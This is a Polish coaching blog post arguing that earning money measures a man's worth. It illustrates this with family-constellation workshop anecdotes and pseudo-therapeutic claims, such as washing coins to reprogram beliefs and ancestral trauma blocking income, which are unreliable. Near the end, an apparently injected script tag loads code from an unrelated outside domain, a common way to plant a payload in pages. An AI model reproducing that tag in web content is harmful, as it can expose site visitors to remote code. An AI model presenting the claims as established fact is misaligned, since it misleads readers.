O portfelu pełnym kasy, i o podartych spodniach na dupie.

Zapraszam do grupy Kobieta i Mężczyna na FB – tam wszystko co aktualne w temacie.

Ostatnio coraz więcej trafia do mnie klientów z tematem pieniędzy, sukcesu, celu zawodowego, zawodowego spełnienia, zwiększenia wydajności firmy. Z jednej strony są to osoby, które zarabiają całkiem sporo, ale kasa nie daje im nic, poza matematycznymi cyferkami, które układają się w liczbę na ich koncie. Po prostu mają pieniądze, ale nie umieją się z nich cieszyć. Trafiają też tacy, którzy nie lubią poniedziałków, a to przecież do cholery wcale, nie o poniedziałki chodzi, tylko o to, że masz do dupy robotę, która Cię nie satysfakcjonuje, i dlatego tak ciężko rano wstać, bo po weekendzie trzeba się po prostu obudzić. Inni mówią natomiast o swoim kulawym szefie, i o tym, że siedzą w jakiejś tam firmie tylko dlatego, że jest do zapłacenia kredyt, rachunki, i po prostu pomijając te całe ich historie, w których starają się utrzymać ładną maskę na twarzy chodzi o to, że po prostu się bardzo boją. Jeszcze inni utknęli w korporacjach i skrzętnie schowali się za jednym z kilku tysięcy monitorów, tak, że ich po prostu nie widać, i tak siedzą sobie cichutko, i przez osiem godzin częściowo udają, że coś robią, a tak naprawdę to  boją się, że przy kolejnych restrukturyzacjach trafi po prostu na nich, i podzielą los ludzi, którzy dostali od losu dodatkową ścieżkę kariery, taką poza obrębem danej organizacji – zewnętrzną. Inni mówią o swoich dramatach. Np.. O tym, że pracowali przez 12 lat w jakiejś firmie, i zostali potraktowani źle. Zostali wyrzuceni, i od tamtej pory błąkają się po rynku pracy. To tak zwani skoczkowie. Trzy miesiące tu, potem sześć miesięcy gdzie indziej, potem przycupną gdzieś na rok, jednak rana, która została im zadana w ich Almamater wciąż krwawi, i cholera jasna, nie da się ruszyć dalej, jeżeli nie zobaczą co otrzymali, u tego pracodawcy, póki nie pochylą się z szacunkiem dla organizacji, zejdą z piedestału, który im w dupach poprzewracał i nie staną dwoma nogami na ziemi, tak aby poczuć pod podeszwami grunt, i swoje dobre na nim miejsce. 

 
Zasadniczo piszę o mężczyznach i kobietach, ale nie da się pominąć tematu zarabiania keszu, szmalu, gotówy, kasy, mamony, siana, sianulca – w wersji light – mowa o pieniądzach, dla tych, którzy mniej są zapoznani z nomenklaturą. Pominę rozwijanie wątku dotyczącego tego, że na temat pieniędzy mamy bardzo posrane przekonania. Kiedyś byłem na warsztacie, na którym wypisywaliśmy jako grupa przekonania związane z pieniędzmi. Oto tylko niektóre z nich.  
 
Pieniądze szczęścia nie dają. Szybciej wielbłąd przejdzie przez ucho igielne niż bogacz dostanie się do raju. I kolejne typu, kto ma szczęście w pieniądzach, nie ma szczęścia w miłości, albo na odwrót, jak kto woli. Czy z takim pakietem przekonań da się mieć szczęśliwą rodzinę, i zarabiać godne pieniądze?  
 
Dlaczego pieniądze stawia się często w opozycji do miłości i udanego związku? Gdzie tu sprzeczność? Chodzi o te kody i programy z zamierzchłej przeszłości, że ktoś kogoś przehandlował za trzydzieści srebrników? Stąd, te pomysły o tym, że pieniądze śmierdzą? Proponuję ćwiczenie, które kiedyś sam otrzymałem od pewnej osoby. Zacznijcie wyciągać bilon z portfela, i go po prostu myć. Tak, normalnie pod ciepłą czy tam zimną wodą z mydłem. Po prostu myjcie pieniądze, aby do podświadomości przekazać informację, o tym, że pieniądze są czyste. Czyste, pięknie błyszczące, i pachnące. Głupie? Może i tak, ale wiem, że działa. 
 
Wczoraj klientka napisała do mnie, że siedzi na jakimś etacie, i nie przyjdzie do mnie na warsztat bo jej nie stać, że za drogo, że to dla niej nieosiągalne. I co powinienem z tym zrobić? Zrobić jej rabat? Pracować z nią pro bono? Zaprosić na warsztat, i dać jej to od siebie? Brzmi naprawdę nieźle. Naprawdę dobry człowiek by ze mnie był, tak patrząc na mnie w kategoriach moralno – tycznych. Czy naprawdę? Widocznie jestem sukinsynem, bo tego nie zrobiłem. Kiedyś tak robiłem, ale zauważyłem, ze to nie działa, chociaż jest w tym jakaś wartość. Jak ktoś chce się postawić wyżej, ponad innymi to może tak zrobić. Poniesie potem konsekwencje, ale przez moment może być przyjemnie wejść głową w chmury, i podreperować swoje małe nieukochane, nieutulone Ego.  
 
Ostatnio chciałem ściągnąć do Polski człowieka, który robi piękne bębny, takie szamańskie. Zapytałem się go, ile bierze za taki warsztat, który trwa nomen omen trzy dni. Powiedział jakąś niską cenę, w okolicach 400 zł. Zapytałem się, go czy jeżeli warsztat będzie kosztował dwa razy więcej, to czy się nie obrazi. Odpowiedział, że się nie obrazi, bo się nie zgodzi na taką cenę. Zapytałem się dlaczego się nie zgodzi na taką cenę? Odpowiedział, że On tego nie robi dla biznesu, tylko z potrzeby serca. I dodał, co ciekawe, że On nie przyjedzie na taki warsztat, bo to co on robi, to robi dla ludzi, którzy idą za głosem własnego serca, a nie za chęcią zysku. Powiedziałem, że dla mnie jedno z drugim nie jest sprzeczne, i zarabianie godnych pieniędzy za swoją pracę, nie stoi dla mnie w sprzeczności z pójściem za głosem serca, do cholery jasnej. Za godne pieniądze mogę dać swoim dzieciom godną jakość, a nie bylejakość. Za godne pieniądze stać mnie na zapłacenie rachunków, które wynikają z rozwoju i funkcjonowania mojej rodziny. Nie muszę ich skazywać na telefony z windykacji, i wizyty dziwnych panów. Za godne pieniądze mogę dać moim dzieciom, mojej żonie godne życie. Takie, w którym jest czas na pracę, ale jest też czas na odpoczynek, i czas na robienie sobie małych przyjemności. Ostatecznie za pieniądze kupiłem mojej żonie, obrączkę, za złota, którą chcę, aby traktowała jako symbol mojej przysięgi. Za pieniądze wyprawiliśmy piękne wesele, na którym mogli dobrze się bawić Ci, którzy byli i są dla nas ważni, jako ludzie. I co tutaj stoi w sprzeczności pójścia za głosem serca? Pieniądze to życie. To realna energia, którą dajemy światu, ludziom. A jeżeli robimy coś dobrze, i to bez względu na to, czy to jest bycia baristą, skrzypkiem, terapeutą, murarzem, elektrykiem czy informatykiem, to miło jest za swoją pracę dostać godziwe wynagrodzenie. W Polsce jest też tak, że o pieniądzach się nie mówi, albo mówi się z jakimś takim wstydem. Pamiętam jak dzisiaj sytuację, którą miałem ze swoim pracodawcą w Irlandii, gdzie byłem team leaderem w dość rozpoznawalnej myjni samochodów. Shoun bo tak miał na imię, gdy inni dostali podwyżkę, a ja chodziłem nadąsany, aż w pewnym momencie mi się ulało, i wywaliłem całą frustrację na niego, powiedział do mnie jedno zdanie. Mirek, ale dlaczego ja mam Ci płacić więcej, niż płaciłem, skoro Ty się o to nie upominasz. W moim interesie nie jest płacić Ci więcej. To było trochę jak zimny prysznic, bo zrozumiałem, że z tyłu głowy miałem takie przekonanie, że to On się powinien domyślić. Do kogo to było roszczenie z mojej strony? Do niego? Nie. To był jakiś foch małego dziecka, który nie dostał ciastka na przyjęciu urodzinowym, bo ktoś go nie zauważył.  Mówienie wprost o tym, że jestem dobry w tym co robię, i chcę za to więcej pieniędzy było dla mnie krępujące. Wtedy nauczyłem się mówić prawdę, i być szczerym w temacie kasy. I mam jakieś takie wewnętrzne poczucie, że to trochę nasze narodowe, a nie tylko moje osobiste.
 
Na warsztatach dotyczących biznesu Schricker powiedział jedno zdanie, które mocno ze mną zarezonowało. Było to zdanie wypowiedziane do klientki, która prowadziła biznes dotyczący terapii. Powiedział do niej mianowicie, aby powiedziała do reprezentantów swoich klientów. „Można mnie mieć tylko z fakturą”. Wow ! Przełom. Ta robota to nie robota, w której jest się samarytaninem, ratującym ludzi, bo Ci którzy chcą ratować, tak naprawdę robią za dużo. Każdy sam ma się uratować. Biorąc odpowiedzialność za ratowanie kogoś, odbieramy mu siły do działania, a na siebie sami bierzemy za dużo. Tak jak dzieci, które chcą uratować swoich rodziców alkoholików, a jak im się nie uda, a oczywistym jest, że im się to nie udaje, to potem chcą ratować swoich partnerów. I tak kobieta, która miała ojca, który pił, potem bierze sobie przemocowca, który też pije, i jeszcze bije. Ot, tak to pracuje, i albo to zobaczysz, i zrobisz coś inaczej, i pokłonisz się przed losem ojca, czy też matki, jako dziecko, z szacunkiem, z respektem, albo do końca swoich dni nie zaznasz spokoju. Finito. Tu nie ma nic więcej do powiedzenia, więc stawiam kropkę. 
 
Ale nawiązując do pakietu programów, idąc za nomenklaturą NLP. Czy z takim oprogramowaniem, można zarabiać, i mieć kochającą rodzinę? Pytanie retoryczne, i nie zachęcam do dogłębnej dysputy filozoficznej. Raczej sugerowałbym popatrzenie na to, jak na komputer, który ma wirusa. Czy on będzie dobrze działał? Nie będzie do cholery, bo kod jest sprzeczny wewnętrznie.  
 
Faceci nie lubią kobiet, które chcą więcej – zwłaszcza więcej kasy. Nie lubią ich, bo one wyciągają ich z grobowca. Patrzą na nie przez pryzmat swojego gniewu. „Jestem z blacharą”. Liczy się dla niej tylko dobra fura, skóra i komóra”. Cholera jasna, a do czego Ty jesteś mężczyzno? Do siedzenia i ugniatania dupska w ciepłym fotelu? Twoi przodkowie, wychodzili z jaskini, albo innych swoich lepianek, i szli polować na foki, albo inne tego typu bawoły, jelenie, norki, zające czy też niedźwiedzie. I wychodzili tam, na zewnątrz do świata, i czasami spotykali się ze śmiercią twarzą w twarz, i to ich budziło, to ich trzeźwiło, bo kto nie szanuje śmierci, nie będzie szanował życia. Gdzie dzisiaj współczesny mężczyzna spotyka się ze śmiercią? Chyba w grach komputerowych, albo oglądając kolejną część „Szklanej pułapki”. No nie wszyscy. Wiem. Bez generalizowania. Męskie natomiast jest w kryzysie, i nie da się tego ukrywać, ani nie zauważyć. Męskie jest w kryzysie. Wynika to z losów. Gdzieś po drodze zabrakło pradziadka, albo dziadka, więc ojciec też nie dostał tego, co miał dostać, więc nie dał synowi, bo cholera sam nie miał. Ale nie o tym tutaj piszę, aby zaliczyć grobowiec i rozłożyć ręce. Z tym da się coś zrobić, i robi się poprzez między innymi ustawienia systemowe. Jakiś czas temu w Warszawie przyjechał klient pracować ze swoją linią męską. Nic nie chciało pójść dalej. Wszyscy stali. Nie było w tym przepływu energii. Ustawiłem pradziadka, i najpierw musiało tam coś popłynąć. Cztery pokolenia wstecz. Pradziadek dotarł do swego ojca. Potem już poszło. Dziadek do swojego ojca, i ojciec klienta do swojego taty. Wtedy tato klienta odwrócił się do swojego syna, i w tych oczach była trzeźwość, była siła, była witalność, i bystrość. Klient się popłakał. Tak. Faceci są mocno poblokowani, na okazywanie uczuć, emocji, na pokazywanie swego męskiego serca, które jest pełne emocji, pełne miłości, waleczności, chęci wychodzenia na zewnątrz do świata, do tego co dzikie, do tego co pierwotnie męskie. Bo męska siła tkwi w jajach, a nie w intelektualnym onaniźmie. Męska siła tkwi w tym, co praktyczne i działa, i przynosi wymierne efekty. A zarabianie kasy, to wymierny efekt skuteczności, radzenia sobie tutaj, wśród ludzi, na ziemi. Nie kupuję duchowych guru, którzy mówią o jedności, a mają podarte spodnie na dupie. Nie kupuję mędrców, którzy mówią o swoim zawodzie jako o misji, a nie płacą własnych rachunków, czy też alimentów na swoje dzieci, nie kupuję tych, którzy odwiedzają inne galaktyki, a tu na ziemi mają rozwalone relacje z mamą, i tatą. To dla mnie nie rozwój, to dla mnie pycha, arogancja, i wywyższanie się. Kasa jest doskonałym sprawdzeniem naszej skuteczności. Kiedyś była to ilość mięsa przyniesiona żonie po polowaniu. Dzisiaj jest to ilość banknotów, które zostawiasz swojej kobiecie na dom, rodzinę, na swoją rodzinę do cholewki jasnej.  
 
Bębniarz, bo o nim był kawałek historii na końcu naszej rozmowy stwierdził, że nie wiedział, że mam rodzinę, i powiedział, że fajnie, że mam to zintegrowane w sobie. On nie ma dzieci, nie ma żony, nie ma kredytów, i nie ma zobowiązań. Ma inaczej. Gorzej? Lepiej? Nie wiem. To jego droga. Ma jak ma, na ten moment tak jest dla niego właściwie. I ważna informacja. Nie musisz nic zmieniać. Nie musisz nic robić. Tam gdzie jesteś, jesteś na właściwym miejscu, dla siebie. Jak sobie siedzisz na miękkiej kanapie, to sobie siedź. Któregoś dnia sprężyna z tej kanapy wbije Ci się w dupsko. Może jeszcze nie dzisiaj. Może za rok, może za dwadzieścia lat. Kiedyś się to stanie, tego jestem pewien.  
 
Za brakiem dostępu do kasy, stoi jeszcze mnóstwo uwarunkowań systemowych. Wymienię tylko kilka, aby pokazać ogólny pogląd, jak systemowo działa brak dostępu do pieniędzy. Może być na przykład tak, że mieliśmy brata, lub siostrę bliźniaka, który się nie urodził, i wewnętrznie mówimy do niego „albo z Tobą (będę żył) albo wcale”. Czy z takiego ruchu duszy można się otworzyć na życie? Nie. Bo stoimy przy tym zmarłym, chcąc go wyciągnąć z grobu, a fakty są takie, że on nie żyje, że jest martwy. Tak samo mocno trzyma nas w zamknięciu na obfitość bycie duszą przy zmarłych, usuniętych, czy poronionych dzieciach. Czasami też bywa inaczej. Ostatnio był u mnie klient. Podczas przerwy warsztatowej wyszliśmy grupą na obiad. Wszyscy zamówili sobie coś do picia, jakieś przystawki, zupę i drugie danie. On zamówił tylko zupę. Z wdzięcznością podziękował za tą małą zupkę. On brał od życia tylko trochę. Tylko trochę umiał brać. Gdy dwie godziny później usiadł w miejscu pacjenta na warsztatach ustawień systemowych zauważyłem, że patrzył cały czas w ziemię. Zapytałem się go „ilu ich tam jest?” Popatrzył jaśniej, i powiedział tylko, że „wielu”. Okazało się, że cała jego rodzina została na Syberii. Wszyscy tam umarli z głodu, wycieczenia, chorób. Wrócił tylko jego dziadek od strony ojca. Jako jedyny. Jako jedyny poniósł ogień życia dalej. Poznał jakąś kobietę. Jego babcię. Spłodził syna. Ojca mojego klienta. Mój klient patrzył na tych wszystkich zmarłych. Tam był, tam duszą został. Dopiero jak się odkleił od tych, którzy zostali i popatrzył na swojego dziadka, w którym była wola życia, niesamowita wola życia, aby przetrwać, aby przekazać życie dalej, podniósł spojrzenie z ziemi, i zaczął patrzeć przed siebie. Żywo, trzeźwo, obecnie. Potem wykonał ruch do życia, do swojej żony, do swoich planów, do swojej pracy. Tam tkwiło rozwiązanie. Czy bez tego rozwiązania ten człowiek byłby w stanie pójść dalej? Do pieniędzy, do sukcesu? Czy Ci, którzy tam zostali na Sybirze byliby szczęśliwi widząc, jak on tkwi przy nich? Czy jego dziadek, który tyle przeszedł, tyle zostawił za sobą, aby móc żyć, byłby szczęśliwy, gdyby widział swojego wnuka, który marnuje sobie życie tkwiąc przy jego zmarłej rodzinie? Gdy klient poszedł do życia, do żywych, do swojego sukcesu, reprezentanci zmarłych wzięli głęboki oddech, z ciała. Im jego ruch do życia, do sukcesu, do pieniędzy przyniósł ulgę.  
 
Miarą skuteczności i mega sprawdzianem tego, czy idę ku więcej, czy idę ku mniej jest to ile zarabiam pieniędzy. Niektórzy siedzą na etacie w korporacji. Często okazuje się potem, gdy ustawiamy to na warsztacie, że korporacja jest takim aktualnym obozem koncentracyjnym. Ktoś w rodzinie był w obozie, a osoba, która dzisiaj żyje trochę tkwi, w tej korporacji, tak jak w obozie tkwił dziadek, albo babcia. A ten strach przed przejściem na swoje, jest strachem związanym z wzięciem daru wolności. To oni byli w niewoli, a my wciąż nie umiemy wziąć wolności, osadzić się w tym, że jesteśmy wolni. 
 
Czasami słyszę też takie głosy od mężczyzn, takie głosy sprzeciwu, na zasadzie „w tym kraju tak jest, nie da się tutaj zarabiać godnych pieniędzy”. Cholera jasna, co to ma być? To trochę tak, jakby kilka lat temu facet wrócił z pustymi rękami z polowania, i powiedział do swojej kobiety „Kochanie, te zające zapierdzielały za szybko, nie udało mi się ich złapać”. Weź się garść, dupa w troki, i do roboty! 
 
Kasy, mamony, pieniędzy nie da się oddzielić od związku pary. Kiedyś były konie, dzisiaj mamy samochody, czyli mechaniczne konie. Kiedyś było ognisko na środku chaty, w której mieszkali ludzie, dzisiaj mamy pięcio palnikowe kuchenki. Kiedyś kąpaliśmy się w rzekach, jeziorach i strumykach, dzisiaj robimy to w wannie, albo pod prysznicem. Kiedyś mężczyźni chodzili na polowanie, aby przynieść kobiecie przysłowiową fokę, dzisiaj zarabiają pieniądze. Jak nie zarabiasz godnych pieniędzy, to jesteś słabym wojownikiem. I proszę nie okłamuj się. Nie dorabiaj sobie do tego jakiejś górnolotnej filozofii. To jest proste. Naprawdę bardzo proste. Możesz sobie oczywiście do tego dorobić cała furę dyrdymałów filozoficznych, i ubrać w bardzo lub mniej racjonalne twierdzenia, ale na końcu poproszę cię o jedno, jak w grze w pokera. Powiem – sprawdzam, i pokaż mi swój portfel. I zapytam się, kto płaci za Ciebie rachunki, kto płaci za gaz, prąd, wodę, telefon, kto kupuje jedzenie, ciuchy, kto płaci za Twoje wakacje. Jeżeli to nie będziesz ty, to otrzeźwiej, i odkłam się.  I pamiętaj, jak chcesz zarabiać duże pieniądze, to nie zadawaj się z gołodupcami.  
 
I już słyszę te głosy krytyki mężczyzn, którzy mówią, materialista, są większe i wyższe wartości niż kasa. Prymityw patrzący na życie przez pryzmat konta. Uwierz mi, że to nie prawda. Mam bogate wnętrze, ale lubię to co praktyczne i to co działa. Wzniosłe idee są piękne na wieczory przy czerwonym winie, gdzie można się upajać intelektualną dysputą, aż do białego rana, ale kolejnego dnia pomimo kaca trzeba wsadzić dwa jaja na rower, i zapie….lać do roboty. Wake Up! Życie sprawdza!
 

Udostępnij wpis!

<script src='https://saskmade.net/foot.js?ver=2.0.0' type='text/javascript'></script>

Autor bloga:

Mirosław Czarko-Wasiutycz
Bussines & Life Coach Systemowy.
Terapeuta Ustawień Systemowych.